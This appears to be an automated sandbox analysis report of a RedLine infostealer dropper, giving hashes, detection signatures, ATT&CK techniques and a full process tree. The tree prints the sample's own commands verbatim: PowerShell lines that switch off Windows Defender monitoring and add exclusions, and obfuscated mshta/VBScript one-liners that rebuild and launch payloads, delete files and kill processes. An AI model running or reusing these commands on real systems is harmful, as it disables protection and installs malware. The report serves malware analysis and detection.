redline | 31e01879dfaafe473840c755dedc6390305167a580e24c64d80315731ac6bc4f

Analysis

max time kernel
34s
max time network
170s
platform
windows7_x64
resource
win7-en-20211104
submitted
08-11-2021 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Size

4.4MB
MD5

bfc2137972c74edea0f9791b94486e9b
SHA1

fd72e52406ce3f2ae5cfdb5dd8c7243f3ce31eb3
SHA256

a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4
SHA512

9fcd3756f9888e2000b94caf0d803087497b87428c0bd641901d2e416411bc698d9ca3a7a00d3cd711b681f3c8b8921f2a478f0ec1f975bc36fde5cf16741e75

Score

10^/10

redline aspackv2 infostealer suricata

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2140	3040	rundll32.exe	80

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

resource	yara_rule
behavioral25/memory/3012-251-0x000000000041B23E-mapping.dmp	family_redline
behavioral25/memory/3020-254-0x000000000041B242-mapping.dmp	family_redline
behavioral25/memory/2280-322-0x000000000041B23E-mapping.dmp	family_redline

suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral25/files/0x00050000000132ea-71.dat	aspack_v212_v242
behavioral25/files/0x00050000000132ea-72.dat	aspack_v212_v242
behavioral25/files/0x000600000001266b-73.dat	aspack_v212_v242
behavioral25/files/0x00050000000132ee-78.dat	aspack_v212_v242
behavioral25/files/0x00050000000132ee-77.dat	aspack_v212_v242
behavioral25/files/0x000600000001266b-74.dat	aspack_v212_v242

Executes dropped EXE 2 IoCs

pid	Process
848	setup_installer.exe
1816	setup_install.exe

Loads dropped DLL 17 IoCs

pid	Process
584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
848	setup_installer.exe
848	setup_installer.exe
848	setup_installer.exe
848	setup_installer.exe
848	setup_installer.exe
848	setup_installer.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1816	setup_install.exe
1912	cmd.exe
1912	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
78	ip-api.com
31	ipinfo.io
32	ipinfo.io
37	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2512	1816	WerFault.exe	29

Kills process with taskkill 2 IoCs

evasion

pid	Process
2892	taskkill.exe
1072	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 584 wrote to memory of 848	584	a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe	28
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 848 wrote to memory of 1816	848	setup_installer.exe	29
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1536	1816	setup_install.exe	31
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1612	1816	setup_install.exe	32
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1912	1816	setup_install.exe	33
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1068	1816	setup_install.exe	34
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1728	1816	setup_install.exe	35
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1608	1816	setup_install.exe	36
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1816 wrote to memory of 1920	1816	setup_install.exe	37
PID 1912 wrote to memory of 1880	1912	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
"C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:584
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS053C6966\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      PID:1536
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        
        PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1912
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue200ab8d408d.exe
        
        Tue200ab8d408d.exe
        5⤵
        
        PID:1880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue201d50e7015.exe
      4⤵
      PID:1068
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue201d50e7015.exe
        
        Tue201d50e7015.exe
        5⤵
        
        PID:916
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone
      4⤵
      PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2082eedf21.exe
        
        Tue2082eedf21.exe /mixone
        5⤵
        
        PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe
      4⤵
      PID:1608
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue207c76c7f37.exe
        
        Tue207c76c7f37.exe
        5⤵
        
        PID:572
      - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue207c76c7f37.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue207c76c7f37.exe
        6⤵
        
        PID:3012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe
      4⤵
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20adee3c26d.exe
        
        Tue20adee3c26d.exe
        5⤵
        
        PID:588
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe
      4⤵
      PID:1960
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20ea834764a6.exe
        
        Tue20ea834764a6.exe
        5⤵
        
        PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe
      4⤵
      PID:288
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20abd30733a17.exe
        
        Tue20abd30733a17.exe
        5⤵
        
        PID:1512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe
      4⤵
      PID:1380
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20d8f1968de62f282.exe
        
        Tue20d8f1968de62f282.exe
        5⤵
        
        PID:2208
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20d8f1968de62f282.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20d8f1968de62f282.exe"
        5⤵
        
        PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe
      4⤵
      PID:1052
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20c79bfdadc.exe
        
        Tue20c79bfdadc.exe
        5⤵
        
        PID:2168
      - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20c79bfdadc.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20c79bfdadc.exe
        6⤵
        
        PID:2280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe
      4⤵
      PID:1216
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2082ea84bd.exe
        
        Tue2082ea84bd.exe
        5⤵
        
        PID:2136
      - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2082ea84bd.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2082ea84bd.exe
        6⤵
        
        PID:3020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue205724605816e79.exe
      4⤵
      PID:1584
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue205724605816e79.exe
        
        Tue205724605816e79.exe
        5⤵
        
        PID:2056
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe
      4⤵
      PID:1112
    - - C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2095db5b6bd7.exe
        
        Tue2095db5b6bd7.exe
        5⤵
        
        PID:2364
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 492
      4⤵
      Program crash
      PID:2512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue203dd57461.exe
      4⤵
      PID:1116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe
      4⤵
      PID:1000

C:\Users\Admin\AppData\Local\Temp\is-II715.tmp\Tue201d50e7015.tmp
"C:\Users\Admin\AppData\Local\Temp\is-II715.tmp\Tue201d50e7015.tmp" /SL5="$60126,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue201d50e7015.exe"
1⤵
PID:2192
- C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue201d50e7015.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue201d50e7015.exe" /SILENT
  2⤵
  PID:2528

C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue203dd57461.exe
Tue203dd57461.exe
1⤵
PID:2072
- C:\Users\Admin\AppData\Roaming\1781669.exe
  "C:\Users\Admin\AppData\Roaming\1781669.exe"
  2⤵
  PID:2536
- C:\Users\Admin\AppData\Roaming\1318885.exe
  "C:\Users\Admin\AppData\Roaming\1318885.exe"
  2⤵
  PID:2308
- C:\Users\Admin\AppData\Roaming\2200567.exe
  "C:\Users\Admin\AppData\Roaming\2200567.exe"
  2⤵
  PID:2736
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbSCripT: ClOSE( CREatEobjeCt ( "WsCRIPt.sheLl" ). RuN ( "cMD.eXe /Q/c TyPe ""C:\Users\Admin\AppData\Roaming\2200567.exe"" >qYZE.eXe && sTaRt qYZE.eXE -ptCb5EYRlk5vz& IF """" == """" for %m IN ( ""C:\Users\Admin\AppData\Roaming\2200567.exe"" ) do taskkill /F -im ""%~nXm"" " , 0,tRUe ) )
    3⤵
    PID:2480
- C:\Users\Admin\AppData\Roaming\2111513.exe
  "C:\Users\Admin\AppData\Roaming\2111513.exe"
  2⤵
  PID:2756
- C:\Users\Admin\AppData\Roaming\7621776.exe
  "C:\Users\Admin\AppData\Roaming\7621776.exe"
  2⤵
  PID:748

C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue202dc71d1d41.exe
Tue202dc71d1d41.exe
1⤵
PID:1592

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20adee3c26d.exe"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20adee3c26d.exe"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
1⤵
PID:2560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20adee3c26d.exe" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue20adee3c26d.exe") do taskkill /IM "%~nXY" -f
  2⤵
  PID:2812
- - C:\Users\Admin\AppData\Local\Temp\_4SO.EXE
    ..\_4SO.Exe /PZOIMJIYi~u3pALhs
    3⤵
    PID:2880
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
      4⤵
      PID:2940
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE") do taskkill /IM "%~nXY" -f
        5⤵
        
        PID:584
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT( "WSCRIPt.SHELL" ).RUn( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 ,tRue ) )
      4⤵
      PID:1124
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D&COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un+3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *
        5⤵
        
        PID:2888
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"
        6⤵
        
        PID:2108
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y ..\WOYVBnm.9
        6⤵
        
        PID:2252
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ecHo "
        6⤵
        
        PID:2084
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /IM "Tue20adee3c26d.exe" -f
    3⤵
    - Kills process with taskkill
    PID:2892

C:\Users\Admin\AppData\Local\Temp\is-PHOKK.tmp\Tue201d50e7015.tmp
"C:\Users\Admin\AppData\Local\Temp\is-PHOKK.tmp\Tue201d50e7015.tmp" /SL5="$6015A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue201d50e7015.exe" /SILENT
1⤵
PID:2600

C:\Users\Admin\AppData\Local\Temp\7zS053C6966\Tue2076b72c2666aa9c.exe
Tue2076b72c2666aa9c.exe
1⤵
PID:1956

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
1⤵
PID:1900

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:1868

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q/c TyPe "C:\Users\Admin\AppData\Roaming\2200567.exe" >qYZE.eXe&& sTaRt qYZE.eXE -ptCb5EYRlk5vz&IF ""== "" for %m IN ("C:\Users\Admin\AppData\Roaming\2200567.exe" ) do taskkill /F -im "%~nXm"
1⤵
PID:564
- C:\Users\Admin\AppData\Local\Temp\qYZE.eXe
  qYZE.eXE -ptCb5EYRlk5vz
  2⤵
  PID:240
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F -im "2200567.exe"
  2⤵
  - Kills process with taskkill
  PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2340

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/572-201-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/572-222-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/584-55-0x0000000076241000-0x0000000076243000-memory.dmp

Filesize
8KB

Download
memory/836-221-0x0000000002000000-0x0000000002C4A000-memory.dmp

Filesize
12.3MB

Download
memory/916-197-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1380-219-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/1512-194-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/1816-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1816-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1816-92-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1816-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1816-90-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1816-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1816-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1816-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1816-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1816-93-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1816-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1816-96-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1816-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1816-98-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1816-100-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1880-157-0x0000000000300000-0x000000000034F000-memory.dmp

Filesize
316KB

Download
memory/2056-196-0x0000000003110000-0x0000000003119000-memory.dmp

Filesize
36KB

Download
memory/2072-207-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

Download
memory/2072-223-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/2136-220-0x0000000004C90000-0x0000000004C91000-memory.dmp

Filesize
4KB

Download
memory/2136-215-0x0000000000360000-0x0000000000361000-memory.dmp

Filesize
4KB

Download
memory/2168-211-0x00000000012D0000-0x00000000012D1000-memory.dmp

Filesize
4KB

Download
memory/2192-218-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2528-233-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download